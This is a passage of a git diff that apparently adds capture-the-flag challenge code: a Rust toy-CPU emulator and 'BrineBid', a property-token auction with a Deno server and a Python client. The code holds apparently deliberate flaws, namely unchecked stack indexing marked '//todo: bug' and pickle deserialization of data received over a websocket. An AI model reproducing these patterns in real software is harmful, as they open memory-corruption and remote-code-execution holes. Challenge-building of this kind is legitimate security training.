CPUInstructions::InstSt(r, o) => match o { + Operand::Register(r2) => { + self.stack[self.reg[r2.0 as usize] as usize] = self.reg[r.0 as usize]; + } + Operand::Immediate(i) => { + self.stack[self.reg[r.0 as usize] as usize] = i as u16; + } + }, + CPUInstructions::InstLd(r, o) => match o { + Operand::Register(r2) => { + self.set_register(r.0, self.stack[self.reg[r2.0 as usize] as usize]); + } + //todo: bug + Operand::Immediate(i) => { + self.set_register(r.0, self.stack[i as usize]); + } + }, + /*CPUInstructions::InstCmp => { + println!("cmp"); + }*/ + CPUInstructions::InstHlt => { + self.running = false; + return; + } + _ => {} + } + self.reg[REG_PC as usize] += 1; + } +} + +fn main() { + let mut instructionsRetired = 0; + loop { + let mut cpu = cpu::new(); + let mut stdin = io::stdin(); + + let mut program: Vec = Vec::new(); + + let mut numInsts = 0_u16; + + let mut tmpBuf = [0u8; 2]; + + stdin.read_exact(&mut tmpBuf).unwrap(); + numInsts = u16::from_le_bytes(tmpBuf); + + if numInsts > 1000 { + println!("Program too large!"); + return; + } + + for i in 0..numInsts { + let mut bytes = [0u8; 2]; + stdin.read_exact(&mut bytes).unwrap(); + program.push(u16::from_le_bytes(bytes)); + } + + for (index, opcode) in program.iter().enumerate() { + cpu.mem[index] = parse_opcode(*opcode); + } + while cpu.running == true { + cpu.execute(); + instructionsRetired += 1; + if instructionsRetired > 10000 { + println!("Executed too many instructions") + return; + } + } + println!("\nExecution halted!"); + println!( + "A: {:?} B: {:?} C: {:?} D: {:?}: PC: {:?} SP: {:?}", + cpu.reg[REG_A as usize], + cpu.reg[REG_B as usize], + cpu.reg[REG_C as usize], + cpu.reg[REG_D as usize], + cpu.reg[REG_PC as usize], + cpu.reg[REG_SP as usize] + ); + //ask the user if they'd like to start over. + println!("Would you like to start over? (y/n)"); + let mut input = String::new(); + stdin.read_line(&mut input).unwrap(); + if input.trim() != "y" { + return; + } + } +} + +fn parse_opcode(opcode: u16) -> CPUInstructions { + let operation = (opcode >> 12) & 0xF; + let destination = ((opcode >> 8) & 0xF) as u8; + let source = (opcode & 0xFF) as u8; + + let dest_reg = Register(destination); + let src_operand = if source & 0x80 == 0 { + Operand::Register(Register(source & 0xF)) + } else { + Operand::Immediate(source & 0x7F) + }; + match operation { + 0 => CPUInstructions::InstAdd(dest_reg, src_operand), + 1 => CPUInstructions::InstSub(dest_reg, src_operand), + 2 => CPUInstructions::InstLd(dest_reg, src_operand), + 3 => CPUInstructions::InstSt(dest_reg, src_operand), + 4 => CPUInstructions::InstAnd(dest_reg, src_operand), + 5 => CPUInstructions::InstOr(dest_reg, src_operand), + 6 => CPUInstructions::InstXor(dest_reg, src_operand), + 7 => CPUInstructions::InstNot(dest_reg), + 8 => CPUInstructions::InstShl(dest_reg, src_operand), + 9 => CPUInstructions::InstShr(dest_reg, src_operand), + 10 => CPUInstructions::InstJmp(src_operand), + 11 => CPUInstructions::InstCall(src_operand), + 12 => CPUInstructions::InstCmp, + 13 => CPUInstructions::InstPush(src_operand), + 14 => CPUInstructions::InstPop(dest_reg), + 15 => match destination { + 0 => CPUInstructions::InstSys, + 1 => CPUInstructions::InstHlt, + 2 => CPUInstructions::InstRet, + _ => CPUInstructions::InstHlt, + }, + _ => CPUInstructions::InstHlt, + } +} + +fn read_null_terminated_string(cpu: &cpu, addr: u16) -> String { + let mut string = String::new(); + let mut current_addr = addr; + let mut data: char; + + while let data = cpu.stack[current_addr as usize] { + if data == 0 { + break; + } else { + string.push(char::from_u32(data as u32).unwrap()); + } + current_addr += 1; + } + + string +} diff --git a/brinebid/src/auction.ts b/brinebid/src/auction.ts new file mode 100644 index 0000000..d07b538 --- /dev/null +++ b/brinebid/src/auction.ts @@ -0,0 +1,240 @@ +import { super_constructor, format_currency, random_int } from "./lib/util.js"; +import { PICKLE_GLOBAL_SCOPE } from "./lib/pickle/pickle-ops.js"; +import { PythonObject } from "./lib/pickle/objects.js"; +import { PickleWebsocket, Request, Response } from "./messages.ts"; +import { get_current_balance, update_balance } from "./wallet.ts"; +import { file_exists } from "./lib/util.js"; +import { ROOT, AUCTION_LENGTH } from "./config.ts"; + +export async function get_current_auction() { + try { + let prop_index = await Deno.readTextFile(`${ROOT}/properties/auction/index.json`); + prop_index = JSON.parse(prop_index); + let current_time = Math.floor(+Date.now() / 1000 / AUCTION_LENGTH); + let end_time = (current_time + 1) * AUCTION_LENGTH; + + let current_index = current_time % prop_index.length; + let current_lot_name = prop_index[current_index]; + let current_lot = await Deno.readTextFile(`${ROOT}/properties/auction/${current_lot_name}`); + current_lot = JSON.parse(current_lot); + current_lot.end_time = end_time; + + let top = Number(BigInt('0x'+current_lot.secret) % 11n) / 10.0; + let high_price = Math.floor(current_lot.sell_price * (1.5 + top)); + + current_lot.description += ` Price range: < ${format_currency(high_price)}`; + return current_lot; + } catch (e) { + console.error(e); + return null; + } +} + +export async function get_old_bid() { + try { + const old_bid = await Deno.readTextFile(`${ROOT}/wallet/current_bid.json`); + console.log('old_bid', old_bid); + return JSON.parse(old_bid); + } catch (e) { + return null; + } +} + +export async function make_new_bid(uuid, val, tries) { + try { + let obj = { + bid: val, + uuid: uuid, + count: tries, + }; + let obj_j = JSON.stringify(obj); + await Deno.writeTextFile(`${ROOT}/wallet/current_bid.json`, obj_j); + return true; + } catch (e) { + console.error(e); + return false; + } +} + +export async function copy_property(uuid) { + try { + await Deno.copyFile(`${ROOT}/properties/auction/${uuid}.token`, `${ROOT}/wallet/properties/${uuid}.token`); + return true; + } catch (e) { + console.error(e); + return false; + } +} + +// Make a bid for a house +export async function submit_bid(val) { + val = ~~(val); + if (isNaN(val) || val < 0 || val > 1000000000) { + return [false, 'Sorry you did not get this property... Your bid is not valid.', null]; + } + let balance = await get_current_balance(); + if (balance.sanddollars < val) { + return [false, 'Sorry you did not get this property... You do not have enough money.', null]; + } + + let current_lot = await get_current_auction(); + let old_bid = await get_old_bid(); + let bid_tries = 0; + if (old_bid && old_bid.uuid == current_lot.uuid) { + bid_tries = old_bid.count; + if (bid_tries >= 2) { + return [false, 'Sorry you can only bid 2 times per property.', null]; + } + } + if (current_lot.floor_price > val) { + bid_tries ++; + } else { + bid_tries = 100 + } + + if (!await make_new_bid(current_lot.uuid, val, bid_tries)) { + return [false, 'Sorry you did not get this property... There was an error writing your bid.', null]; + } + + if (current_lot.floor_price > val) { + if (bid_tries >= 2) { + let min = current_lot.floor_price; + let max = current_lot.sell_price; + let winning_bid = Math.floor(Math.random() * (max - min + 1) + min); + return [false, `Sorry you did not get this property... Your bid is too low. The property sold for ${format_currency(winning_bid)} SandDollars.\nTry again next time`, null]; + } else { + return [false, `Sorry you did not get this property... Your bid is too low. You have ${2 - bid_tries} bid attempt left`, null]; + } + } + + + let new_balance = balance.sanddollars - val; + + if (!await update_balance({ sanddollars: new_balance })) { + return [false, 'Sorry you did not get this property... There was an error updating your balance.', null]; + } + + + if (!await copy_property(current_lot.uuid)) { + return [false, 'Sorry you did not get this property... There was an error transfering the property to you.', null]; + } + + return [true, `Congratulations you bought the property for ${format_currency(val)} SandDollars! Estimated property value ~${format_currency(current_lot.sell_price)}`, current_lot]; +} + +export function AuctionProperty(args) /* extends PythonObject */ { + var _this = this; + _this = super_constructor(this, AuctionProperty, args); + _this.uuid = args[0]; + _this.property_name = args[1]; + _this.description = args[2]; + _this.end_time = args[3]; + return _this; +} +// Inherit from class PythonObject +Object.setPrototypeOf(AuctionProperty.prototype, PythonObject.prototype); +PICKLE_GLOBAL_SCOPE['__main__.AuctionProperty'] = AuctionProperty; + + +export function PropertyToken(args) /* extends PythonObject */ { + var _this = this; + _this = super_constructor(this, PropertyToken, args); + _this.uuid = args[0]; + _this.property_name = args[1]; + _this.description = args[2]; + _this.estimated_value = args[3]; + return _this; +} +// Inherit from class PythonObject +Object.setPrototypeOf(PropertyToken.prototype, PythonObject.prototype); +PICKLE_GLOBAL_SCOPE['__main__.PropertyToken'] = PropertyToken; + + +export function AuctionInfoRequest(args) /* extends Request */ { + var _this = this; + _this = super_constructor(this, AuctionInfoRequest, args); + return _this; +} +// Inherit from class Request +Object.setPrototypeOf(AuctionInfoRequest.prototype, Request.prototype); +PICKLE_GLOBAL_SCOPE['__main__.AuctionInfoRequest'] = AuctionInfoRequest; + +AuctionInfoRequest.prototype.process = async function (ws: PickleWebsocket) { + const current_lot = await get_current_auction(); + let resp; + if (current_lot) { + resp = AuctionInfoResponse([ + current_lot.uuid, + current_lot.name, + current_lot.description, + current_lot.end_time + ]); + } else { + resp = AuctionInfoResponse([]); + } + resp.send(ws); +} + + + +export function AuctionInfoResponse(args) /* extends Response */ { + var _this = this; + _this = super_constructor(this, AuctionInfoResponse, args); + if (args.length > 0) + _this.property = AuctionProperty(args); + else + _this.property = null; + return _this; +} +// Inherit from class Response +Object.setPrototypeOf(AuctionInfoResponse.prototype, Response.prototype); +PICKLE_GLOBAL_SCOPE['__main__.AuctionInfoResponse'] = AuctionInfoResponse; + + + +export function AuctionBidRequest(args) /* extends Request */ { + var _this = this; + _this = super_constructor(this, AuctionBidRequest, args); + _this.bid = args[0]; + return _this; +} +// Inherit from class Request +Object.setPrototypeOf(AuctionBidRequest.prototype, Request.prototype); +PICKLE_GLOBAL_SCOPE['__main__.AuctionBidRequest'] = AuctionBidRequest; + +AuctionBidRequest.prototype.process = async function (ws: PickleWebsocket) { + let [res, msg, prop] = await submit_bid(this.bid); + let resp; + if (res) { + resp = AuctionBidResponse([ + true, msg, + prop.uuid, + prop.name, + prop.description, + prop.sell_price, + ]); + } else { + resp = AuctionBidResponse([false, msg]); + } + resp.send(ws); +} + + + +export function AuctionBidResponse(args) /* extends Response */ { + var _this = this; + _this = super_constructor(this, AuctionBidResponse, args); + _this.success = args[0]; + _this.message = args[1]; + if (args.length > 2) + _this.property = AuctionProperty(args.slice(2)); + else + _this.property = null; + + return _this; +} +// Inherit from class Response +Object.setPrototypeOf(AuctionBidResponse.prototype, Response.prototype); +PICKLE_GLOBAL_SCOPE['__main__.AuctionBidResponse'] = AuctionBidResponse; + +export function auction_init() {} diff --git a/brinebid/src/brinebid-e5982f1e22a38097d73e150ece0f5e4a1b2da49fb811cb0f00f8a6bad4c7db9d.tar.gz b/brinebid/src/brinebid-e5982f1e22a38097d73e150ece0f5e4a1b2da49fb811cb0f00f8a6bad4c7db9d.tar.gz new file mode 100755 index 0000000..dd4268a Binary files /dev/null and b/brinebid/src/brinebid-e5982f1e22a38097d73e150ece0f5e4a1b2da49fb811cb0f00f8a6bad4c7db9d.tar.gz differ diff --git a/brinebid/src/client.py b/brinebid/src/client.py new file mode 100755 index 0000000..73f1fb6 --- /dev/null +++ b/brinebid/src/client.py @@ -0,0 +1,827 @@ +#!/usr/bin/env python3 + +import os +import sys +import time +import pickle +import base64 +import requests +import urllib.parse +import argparse + +try: + import websockets + from websockets.sync.client import connect + import pytermgui as ptg +except ImportError: + print("Please install deps...") + print("pip3 install -U websockets pytermgui requests") + exit(1) + +# Patch pytermgui to support ansi images +_draw = ptg.window_manager.Compositor.draw +def draw(self, *args, **kwargs): + _draw(self, *args, **kwargs) + + win = Client.instance + cur_win = win.current_window + + if not cur_win or not win.img: + win.img_visible = False + return + + term = ptg.term.get_terminal() + theight = term.height + twidth = term.width + + pos = cur_win.pos + + img_x = (twidth - win.img_width) // 2 + img_y = pos[1] + win.img_offset + + ptg.ansi_interface.cursor_home() + ptg.ansi_interface.cursor_down(num=img_y) + for l in win.img.split('\n'): + ptg.ansi_interface.cursor_right(num=img_x) + term.write(l+'\n') + ptg.ansi_interface.cursor_home() + +ptg.window_manager.Compositor.draw = draw + +# Support paste +_handle_key = ptg.InputField.handle_key +def handle_key(self, key): + res = _handle_key(self, key) + if not res and len(key) > 1 and not key.startswith("\x1b["): + with open('/tmp/z','a') as f: + f.write(key+'\n') + for char in key: + self.handle_key(char) + return True + return res +ptg.InputField.handle_key = handle_key + + +STYLES = """ +config: + InputField: + styles: + prompt: dim italic + cursor: '@72' + Label: + styles: + value: dim bold + + Window: + styles: + border: '60' + corner: '60' + + Container: + styles: + border: '96' + corner: '96' + Button: + styles: + label: cyan + Window: + styles: + fill: red + + InputField: + styles: + fill: red + prompt: red +""" + +ptg.get_terminal().forced_colorsystem = ptg.ColorSystem.TRUE +ptg.palette.regenerate(primary="cyan", secondary="white") +with ptg.YamlLoader() as loader: + loader.load(STYLES) + +def send_pickle(c, arg): + obj = Message(arg) + data = pickle.dumps(obj, protocol=3) + data = base64.b64encode(data).decode('latin-1') + c.ws.send(data) + +def get_pickle(c): + data = c.ws.recv() + data = base64.b64decode(data) + obj = pickle.loads(data) + return obj + +# ======================== + +class Message(object): + def __init__(self, arg): + self.sender = 'user' + self.body = arg + +class Response(object): + def __init__(self, res, msg): + self.success = res + self.message = msg + +class Request(object): + def __init__(self): + pass + + def send(self, c): + try: + send_pickle(c, self) + return get_pickle(c) + except websockets.exceptions.ConnectionClosedError as e: + c.restart() + return None + except Exception as e: + return None + + +class AuctionProperty(object): + def __init__(self, uuid, name, desc, end): + self.uuid = uuid + self.property_name = name + self.description = desc + self.end_time = end + +class AuctionInfoRequest(Request): + def __init__(self): + pass + +class AuctionInfoResponse(object): + def __init__(self, prop): + self.property = prop + +class PropertyToken(object): + def __init__(self, uuid, name, desc, val, image): + self.uuid = uuid + self.property_name = name + self.description = desc + self.estimated_value = 0 + +class AuctionBidRequest(Request): + def __init__(self, bid): + self.bid = bid + +class AuctionBidResponse(object): + def __init__(self, res, msg, prop): + self.success = res + self.message = msg + self.property = prop + +class Wallet(object): + def __init__(self, worth, bal, props, loans): + self.net_worth = worth + self.balance = bal + self.properties = props + self.loans = loans + +class WalletRequest(Request): + def __init__(self): + pass + +class WalletResponse(object): + def __init__(self, **args): + self.wallet = Wallet(**args) + +class NewLoanRequest(Request): + def __init__(self): + pass + +class NewLoanResponse(object): + def __init__(self, res, msg, value): + self.success = res + self.message = msg + self.value = value + +class PayLoanRequest(Request): + def __init__(self, index): + self.loan_index = index + +class PayLoanResponse(object): + def __init__(self, res, msg): + self.success = res + self.message = msg + +class SellPropertyRequest(Request): + def __init__(self, uuid): + self.uuid = uuid + +class SellPropertyResponse(object): + def __init__(self, res, msg, price): + self.success = res + self.message = msg + self.sale_price = price + +class ResetRequest(Request): + def __init__(self): + pass +class ResetResponse(Request): + def __init__(self, res, msg): + self.success = res + self.message = msg + +# ======================== + +def format_currency(value): + return "${:,.0f}".format(value) + +class Client(object): + def __init__(self, ws, ptgm, args): + self.ws = ws + self.page = 'home' + self.ptgm = ptgm + self.args = args + + self.wallet = None + self.wallet_timestamp = 0 + self.current_lot = None + self.current_window = None + self.error_msg = [] + self.img = None + self.img_offset = 0 + self.img_visible = False + + self.width = 60 + self.height = 30 + + self.page_before_disconnect = None + + Client.instance = self + ptg.term.get_terminal().subscribe(0, self.resize) + + ptg.tim.define("!auction_time", self.auction_time_left) + + def resize(self, *args): + self.goto(self.page) + + def goto(self, page): + if self.page_before_disconnect: + page = self.page_before_disconnect + self.page_before_disconnect = None + + self.page = page + + last_window = None + if self.current_window is not None: + last_window = self.current_window + + self.img = None + self.img_offset = 0 + self.img_visible = False + + if self.page == 'home': + self.render_home() + if self.page == 'reset': + self.render_reset() + if self.page == 'wallet': + self.render_wallet() + if self.page == 'auction': + self.render_auction() + if self.page == 'bid': + self.render_bid() + if self.page.startswith('property-'): + self.render_property(self.page.split('-')[-1]) + if self.page.startswith('loan-'): + self.render_loan(self.page.split('-')[-1]) + + if last_window is not None: + try: + last_window.close(animate=False) + except: + pass + if self.current_window: + self.current_window.height = self.height + self.current_window.width = self.width + + self.current_window.center() + + # Pick a good resolution for current terminal size + def get_image(self, uuid, off=0): + term = ptg.term.get_terminal() + theight = term.height + twidth = term.width + + diff = theight - self.height - 4 + + if diff < 8: + self.img = None + return + + if diff < 15: + self.img_height = 25 // 2 + self.img_width = 25 + if diff < 17: + self.img_height = 30 // 2 + self.img_width = 30 + elif diff < 27: + self.img_height = 40 // 2 + self.img_width = 40 + else: + self.img_height = 50 // 2 + self.img_width = 50 + + img_name = f'{uuid}_{self.img_width}x{self.img_width}.ansi' + + cache_path = f'/tmp/.client_cache/images/{img_name}' + local_path = f'./images/{img_name}' + if os.path.exists(cache_path): + img_path = f'file://{cache_path}' + elif os.path.exists(local_path): + img_path = f'file://{local_path}' + else: + img_path = f'http://{self.args.HOST}:{self.args.PORT}/images/{img_name}' + + try: + if img_path.startswith('file://'): + img_path = img_path[7:] + with open(img_path, 'r') as f: + img = f.read() + else: + out = requests.get(img_path) + if out.status_code != 200: + self.img = None + return + img = out.text + except Exception as e: + print(e) + self.img = None + return + + + with open(cache_path, 'w') as f: + f.write(img) + + self.img = img + self.img_offset = off + + def clear_cache(self): + self.wallet = None + self.current_lot = None + + def get_current_lot(self): + if self.current_lot: + if self.current_lot.end_time > time.time(): + return self.current_lot + v = AuctionInfoRequest().send(self) + if v is None: + return None + self.current_lot = v.body.property + return self.current_lot + + def get_current_wallet(self): + if self.wallet: + if self.wallet_timestamp + 30 > time.time(): + return self.wallet + v = WalletRequest().send(self) + if v is None: + return None + self.wallet = v.body.wallet + self.wallet_timestamp = time.time() + return self.wallet + + def auction_time_left(self, *args): + if not self.current_lot: + return 'n/a' + + diff = self.current_lot.end_time - time.time() + + if diff < -30: + # refresh + self.goto('auction') + return 'Auction Ended' + + if diff < 0: + return 'Auction Ended' + + return '{}:{:02}'.format(int((diff % 3600) // 60), int(diff % 60)) + + def render_bid(self): + self.get_current_wallet(); + if self.wallet is None: + self.error_msg.append('Error: Could not get wallet') + self.goto('home') + return + + lot = self.get_current_lot() + if lot is None: + self.error_msg.append('Error: Could not get current lot') + self.goto('home') + return + + self.width = 60 + extra_lines = (len(lot.description) // (self.width-3)) + 1 + if (len(self.error_msg) > 0): + extra_lines += (len('Notice: ' + self.error_msg[-1]) // (self.width-3)) + 1 + + self.height = 25 + extra_lines + self.get_image(lot.uuid, off=7) + self.width = 60 + if self.img: + self.height += self.img_height + + bid_input = ptg.InputField("", prompt="Bid Amount: $", name="bid_amount") + bid_input.static_width = 30 + + window = ptg.Window( + "Services", + ["My Wallet", lambda x: self.goto('wallet')], + ["My Properties", lambda x: self.goto('property-0')], + ["--> Current Property Auction <--", lambda x: self.goto('auction')], + "---", + "[bold accent]Bidding For Property[/] [!auction_time]\n", + "\n"*self.img_height if self.img else "", + f"\n[bold accent]Current Lot:[/] {lot.uuid}\n", + f"[bold accent]Name:[/] {lot.property_name}\n", + f"{lot.description}\n", + "", + f"\n\n[bold accent]Your Balance:[/] {format_currency(self.wallet.balance)} SandDollars\n", + "[bold accent]Place Bid:[/]", + bid_input, + f"[bold accent]Notice:[/] [coral]{self.error_msg.pop()}[/]\n" + if len(self.error_msg) > 0 else "", + ["Submit", lambda x: self.make_bid(bid_input.value)], + ) + self.current_window = window + self.ptgm.add(window, animate=False) + + def make_bid(self, bid): + if self.current_lot is None: + self.goto('auction') + return + if self.current_lot.end_time < time.time(): + self.goto('auction') + return + try: + bid = int(bid.replace('$','').replace(',','')) + except: + self.error_msg.append("Invalid Bid Amount") + self.goto('bid') + return + r = AuctionBidRequest(int(bid)).send(self) + + if r is None: + self.error_msg.append("Error Placing Bid") + self.goto('bid') + return + + self.clear_cache() + if r.body.success == 'success': + self.goto('bid') + self.error_msg.append(r.body.message) + else: + self.error_msg.append(r.body.message) + self.goto('bid') + + + def render_auction(self): + self.ptgm.layout.add_slot("Body") + lot = self.get_current_lot() + if lot is None: + self.error_msg.append('Error: Could not get current lot') + self.goto('home') + return + self.current_lot = lot + + self.width = 60 + extra_lines = (len(lot.description) // (self.width - 3)) + 1 + + self.height = 18 + extra_lines + self.get_image(lot.uuid, off=7) + if self.img: + self.height += self.img_height + + window = ptg.Window( + "Services", + ["My Wallet", lambda x: self.goto('wallet')], + ["My Properties", lambda x: self.goto('property-0')], + ["--> Current Property Auction <--", lambda x: self.goto('auction')], + "---", + "[bold accent]Property Auction[/] [!auction_time]\n", + "\n"*self.img_height if self.img else "", + f"\n[bold accent]Current Lot:[/] {lot.uuid}\n", + f"[bold accent]Name:[/] {lot.property_name}\n", + f"{lot.description}\n", + "", + ["Place Bid For Property", lambda x: self.goto('bid')], + ) + self.current_window = window + self.ptgm.add(window, animate=False) + + def sell_property(self, uuid): + r = SellPropertyRequest(uuid).send(self) + if r is None: + self.error_msg.append("Error Selling Property") + self.goto('wallet') + return + self.error_msg.append(r.body.message) + self.clear_cache() + self.goto('wallet') + + def render_property(self, ind): + ind = int(ind) + self.get_current_wallet(); + if self.wallet is None: + self.error_msg.append('Error: Could not get wallet') + self.goto('home') + return + + if ind < len(self.wallet.properties): + prop = self.wallet.properties[ind] + else: + prop = None + + if not prop: + self.width = 60 + self.height = 20 + window = ptg.Window( + "Services", + ["My Wallet", lambda x: self.goto('wallet')], + ["--> My Properties <--", lambda x: self.goto('property-0')], + ["Current Property Auction", lambda x: self.goto('auction')], + "---", + "[bold accent]Your Properties[/]\n\n", + "You Have No Properties" + "", + ) + else: + self.width = 60 + extra_lines = (len(prop.description) // (self.width - 3)) + 1 + + self.height = 24 + extra_lines + self.get_image(prop.uuid, off=11) + self.width = 60 + if self.img: + self.height += self.img_height + + has_more = len(self.wallet.properties) > ind + 1 + num_props = len(self.wallet.properties) + + self.ptgm.layout.add_slot("Body") + window = ptg.Window( + "Services", + ["My Wallet", lambda x: self.goto('wallet')], + ["--> My Properties <--", lambda x: self.goto('property-0')], + ["Current Property Auction", lambda x: self.goto('auction')], + "---", + "[bold accent]Your Properties[/]\n" + f"You have {num_props} Propert{'y' if num_props==1 else 'ies'}\n\n", + f"[bold accent]Property #:[/] {prop.uuid}\n", + "\n"*self.img_height if self.img else "", + f"[bold accent]Name:[/] {prop.property_name}\n", + f"[bold accent]Estimated Property Value:[/] {format_currency(prop.estimated_value)} SandDollars\n", + f"{prop.description}\n", + ["Sell Property", lambda x: self.sell_property(prop.uuid)], + "", + ["<-- Previous", lambda x: self.goto(f'property-{ind-1}')] + if ind > 0 else "", + ["Next -->", lambda x: self.goto(f'property-{ind+1}')] + if has_more else + "", + ) + self.current_window = window + self.ptgm.add(window, animate=False) + + def pay_loan(self, ind): + r = PayLoanRequest(ind).send(self) + if r is None: + self.error_msg.append("Error Paying Loan") + self.goto('wallet') + return + self.clear_cache() + self.error_msg.append(r.body.message) + if r.body.success != False: + self.goto('wallet') + else: + self.goto(f'loan-{ind}') + + def render_loan(self, ind): + ind = int(ind) + self.get_current_wallet(); + if self.wallet is None: + self.error_msg.append('Error: Could not get wallet') + self.goto('home') + return + + + if ind < len(self.wallet.loans): + loan = self.wallet.loans[ind] + else: + loan = None + + if not loan: + self.width = 60 + self.height = 20 + window = ptg.Window( + "Services", + ["My Wallet", lambda x: self.goto('wallet')], + ["My Properties", lambda x: self.goto('property-0')], + ["Current Property Auction", lambda x: self.goto('auction')], + "---", + "[bold accent]Unpaid Loans[/]\n\n", + "You Have No Outstanding Loans" + "", + ) + else: + self.height = 23 + self.width = 60 + + has_more = len(self.wallet.loans) > ind + 1 + num_loans = len(self.wallet.loans) + + self.ptgm.layout.add_slot("Body") + window = ptg.Window( + "Services", + ["My Wallet", lambda x: self.goto('wallet')], + ["My Properties", lambda x: self.goto('property-0')], + ["Current Property Auction", lambda x: self.goto('auction')], + "---", + "[bold accent]Unpaid Loans[/]\n\n", + f"You have {num_loans} Unpaid Loan{'' if num_loans==1 else 's'}\n\n", + f"[bold accent]Loan #:[/] {ind}\n", + f"[bold accent]Initial Value:[/] {format_currency(loan['amount'])} SandDollars\n", + f"[bold accent]Current Value:[/] {format_currency(loan['with_intrest'])} SandDollars\n", + (f"[bold accent]Notice:[/] [coral]{self.error_msg.pop()}[/]\n" + if len(self.error_msg) > 0 else ""), + ["Pay Loan In Full", lambda x: self.pay_loan(ind)], + ["<-- Previous", lambda x: self.goto(f'loan-{ind-1}')] + if ind > 0 else "", + ["Next -->", lambda x: self.goto(f'loan-{ind+1}')] + if has_more else + "", + ) + self.current_window = window + self.ptgm.add(window, animate=False) + + def new_loan(self): + r = NewLoanRequest().send(self) + if r is None: + self.error_msg.append("Error Creating Loan") + self.goto('wallet') + return + self.clear_cache() + self.error_msg.append(r.body.message) + self.goto('wallet') + + def render_wallet(self): + self.get_current_wallet(); + if self.wallet is None: + self.error_msg.append('Error: Could not get wallet') + self.goto('home') + return + + prop_sum = sum([p.estimated_value for p in self.wallet.properties]) + loan_sum = sum([l['with_intrest'] for l in self.wallet.loans]) + + self.width = 60 + self.height = 30 + + + self.ptgm.layout.add_slot("Body") + window = ptg.Window( + "Services", + ["--> My Wallet <--", lambda x: self.goto('wallet')], + ["My Properties", lambda x: self.goto('property-0')], + ["Current Property Auction", lambda x: self.goto('auction')], + "---", + "[bold accent]Your Wallet[/]\n\n", + "", + f"[bold accent]Net Worth:[/] {format_currency(self.wallet.netWorth)} SandDollars\n", + f"[bold accent]SandDollar Balance:[/] {format_currency(self.wallet.balance)}\n", + f"[bold accent]Estimated Property Value:[/] {format_currency(prop_sum)}\n", + f"[bold accent]Loan Value:[/] {format_currency(-loan_sum)}\n\n", + f"[bold accent]Notice:[/] [coral]{self.error_msg.pop()}[/]\n" + if len(self.error_msg) > 0 else "", + ["See / Pay Loans", lambda x: self.goto('loan-0')], + ["Take Out New Loans $1M - $10M", lambda x: self.new_loan()], + "", + ) + self.current_window = window + self.ptgm.add(window, animate=False) + + def reset_challenge(self): + ResetRequest().send(self) + self.goto('home') + + def render_reset(self): + self.width = 60 + self.height = 20 + window = ptg.Window( + "RESET ACCOUNT\n\n", + "Are you sure you want to reset your account?\n", + "This will delete all your properties and loans and reset your balance\n", + "This deletion is permanent and cannot be undone\n", + + ["NO, GO BACK", lambda x: self.goto('home')], + ["YES, RESET MY ACCOUNT", lambda x: self.reset_challenge()], + ) + self.current_window = window + self.ptgm.add(window, animate=False) + + def check_ticket(self, then, *args, force=False): + if self.ws and not force: + self.goto(then) + return + try: + with open('/tmp/.client_cache/ticket') as f: + ticket = f.read() + except: + ticket = '' + + ticket = ticket.strip() + + if len(ticket) == 0 or force: + + # Stop all that ansi nonsense + self.ptgm.stop() + ptg.ansi_interface.clear() + ptg.ansi_interface.cursor_home() + ptg.ansi_interface.show_cursor() + ptg.ansi_interface.set_echo() + ptg.ansi_interface.report_mouse('hover', stop=True) + ptg.ansi_interface.reset() + + ticket = input("Ticket please: ").strip() + s = ptg.ansi_interface.restore_screen() + + ticket = ticket.strip() + if len(ticket) == 0: + self.error_msg.append("Access Ticket is Required!") + self.goto('home') + return + + self.ticket = ticket + ticket_url = urllib.parse.quote(ticket) + with websockets.sync.client.connect( + f'ws://{self.args.HOST}:{self.args.PORT}', + subprotocols=[ticket_url] + ) as ws: + self.ws = ws + with open('/tmp/.client_cache/ticket','w') as f: + f.write(self.ticket) + self.ptgm.stop() + with ptg.WindowManager() as manager: + Client(ws, manager, self.args).goto(then, *args) + + + + def render_home(self): + self.width = 60 + self.height = 32 + + ticket = None + if os.path.exists('/tmp/.client_cache/ticket'): + with open('/tmp/.client_cache/ticket') as f: + ticket = f.read() + + self.ptgm.layout.add_slot("Body") + window = ptg.Window( + "", + "[bold accent]Welcome to BrineBid, the number one platform for bidding on Property Tokens*. Join thousands of other real-estate mogals who are striking it rich** in digital realty.\nOwn the concept of ownership today![/]\n\n", + "[bold] Enter Access Ticket to Proceed:" if not ticket else "", + ["Add Access Ticket" if not ticket else "Change Access Ticket", lambda x: self.check_ticket('home', force=True)], + f"[bold accent]Notice:[/] [coral]{self.error_msg.pop()}[/]\n" + if len(self.error_msg) > 0 else "", + "[bold]=========== DASHBOARD ===========[/]", + ["My Wallet", lambda x: self.check_ticket('wallet')], + ["My Properties", lambda x: self.check_ticket('property-0')], + ["Current Property Auction", lambda x: self.check_ticket('auction')], + "\n\n\n\n\n[bold] Drowning in Debt?", + ["DECLARE BANKRUPTCY", lambda x: self.check_ticket('reset')], + "[dim @surface-3]\n\n*Owning Property Tokens do not imply ownership of any\nphysical property. Property Tokens are not securities and are not backed by any government or central bank. Property Tokens are not redeemable for any underlying pysical asset.\n**SandDollars price is speculative and does not have a fixed or 1-to-1 USD price guarantee[/]", + ) + self.current_window = window + self.ptgm.add(window, animate=False) + + def restart(self): + args = sys.argv + if '--page' not in args: + args += ['--page', self.page] + os.execv(sys.executable, [sys.executable] + args) + exit(0) + + +def main(args): + with ptg.WindowManager() as manager: + c = Client(None, manager, args) + if args.page == 'home': + c.goto('home') + else: + c.check_ticket(args.page) + + + +if __name__ == '__main__': + parser = argparse.ArgumentParser() + parser.add_argument('--host', dest='HOST', default='brinebid-qfzqys6gg7lgi.shellweplayaga.me') + parser.add_argument('--port', dest='PORT', default='10001') + parser.add_argument('--images', dest='IMAGES', default='./images') + parser.add_argument('--page', dest='page', default='home') + args = parser.parse_args() + + os.makedirs("/tmp/.client_cache", exist_ok=True) + os.makedirs("/tmp/.client_cache/images", exist_ok=True) + main(args) + + diff --git a/brinebid/src/config.ts b/brinebid/src/config.ts new file mode 100644 index 0000000..c79b063 --- /dev/null +++ b/brinebid/src/config.ts @@ -0,0 +1,4 @@ +export const HOST = '0.0.0.0'; +export const PORT = 8080; +export const ROOT = "./tmp/"; +export const AUCTION_LENGTH = 120; \ No newline at end of file diff --git a/brinebid/src/config.ts.prod b/brinebid/src/config.ts.prod new file mode 100644 index 0000000..53da26d --- /dev/null +++ b/brinebid/src/config.ts.prod @@ -0,0 +1,4 @@ +export const HOST = '0.0.0.0'; +export const PORT = 8080; +export const ROOT = "/"; +export const AUCTION_LENGTH = 120; diff --git a/brinebid/src/dist/Dockerfile b/brinebid/src/dist/Dockerfile new file mode 100644 index 0000000..3bd6ab4 --- /dev/null +++ b/brinebid/src/dist/Dockerfile @@ -0,0 